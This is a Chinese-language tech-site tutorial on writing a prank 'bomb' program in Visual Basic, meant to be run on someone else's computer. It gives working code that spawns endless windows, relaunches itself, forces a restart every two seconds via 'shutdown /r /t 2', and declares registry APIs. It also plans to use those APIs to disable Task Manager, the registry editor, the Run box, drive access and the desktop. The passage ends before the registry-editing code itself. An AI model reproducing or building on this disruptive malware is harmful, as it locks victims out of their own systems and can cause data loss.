扫一扫
分享文章到微信
扫一扫
关注官方公众号
至顶头条
新的一年又到来了,和我的朋友们都在忙着赶项目,就在我一个不小心写出了一个死循环时,想起了一种很古老的炸弹---蓝屏死机炸弹,于是我就有了写炸弹这个想法,因为我用的是C#.net,把源代码拿过来,大家想调试还要安装.net框架,于是我就想到了用VB来写,那么下面就让我们来进入正题吧。
一、弹要实现的功能
既然是炸弹,那当然要写的厉害些,首先就要像很久以前那个网页炸弹一样,弹出无数个窗口,这个功能是给别人打马虎眼的,让他一心想着去阻止炸弹继续的弹出窗口;第二个功能是专门针对windows XP而做的,当然也是在2004年第12期黑防杂志上看到的---自动重启计算机(如图1),
那么下一项就是让每一个人都感到郁闷的事---修改注册表。我今天教大家写的炸弹实现的功能大部分还是靠注册表,主要的功能还是要禁止中招的人打开任务管理器,禁止使用注册表,隐藏桌面所有图标,禁止使用开始菜单里面的运行,搜索,关机,屏蔽ctrl+alt+del里的内容,禁止使用IE浏览器里的所有属性,屏蔽C盘,D盘等盘,这样的结果看上去一定很可怕,如果我们屏蔽右键或者加那么一点点的代码设成开机自动运行,那后果会是什么样的就可想而知了吧?
二、代码实现
下面让我们打开VB编译器,在窗体上面加3个timer控件,然后Interval属性设得尽量小点,该属性1000为1秒,我的设成了6,这样在一秒就会谈出上百个窗口了。
实现代码如下:
Private Sub Timer1_Timer()
Dim a As New Form1 ‘声明以后出现a就是代表Form1
a.Show ‘Form1弹出
End Sub
Private Sub Timer2_Timer()
Shell App.EXEName ‘运行这个软件的本身
End Sub
然后隐藏窗体本身,书县代码如下:
Private Sub Form_Load()
Me.Hide
End Sub
那么在XP里自动关机是怎么回事呢?这个就是一个命令就能搞定的(shutdown /r /t 2),就是说,重新启动计算机的倒计时是2秒,这样中招的人就没有办法停止我们的shutdown了,其实到这里就可以算是一个有趣的恶作剧了。实现代码如下:
Private Sub Timer3_Timer()
Shell ("cmd.exe /c shutdown /r /t 2") ‘调用cmd 然后在cmd里输入shutdown /r /t 2就是说设倒计时时间限制为2秒
End Sub
下面说说修改注册表吧,既然要修改注册表,那我们怎么能不调用API呢?当然,曾经在电脑报里也有说不用API就能读写注册表的,但是我想还是让大家用API吧,毕竟API接触多了是件好事。那么就让我来教大家条用API来简便的修改注册表吧,我们先来建一个模块,在里面加入代码:
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long ‘这是调用API函数来关闭注册表
Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias "RegCreateKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal Reserved As Long, ByVal lpClass As String, ByVal dwOptions As Long, ByVal samDesired As Long, ByVal lpSecurityAttributes As Long, phkResult As Long, lpdwDisposition As Long) As Long ‘这是调用AP函数在注册表里创建一个键
Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long ‘这是调用api函数打开注册表
Declare Function RegQueryValueExString Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As String, lpcbData As Long) As Long
Declare Function RegQueryValueExLong Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Long, lpcbData As Long) As Long
Declare Function RegQueryValueExNULL Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As Long, lpcbData As Long) As Long
Declare Function RegSetValueExString Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As Long ‘调用API来设置注册表里的键名
Declare Function RegSetValueExLong Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpValue As Long, ByVal cbData As Long) As Long
Private Declare Function RegDeleteKey& Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) ‘调用API删除注册表里的的键
Private Declare Function RegDeleteValue& Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) ‘调用API删除注册表里的的键值
如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。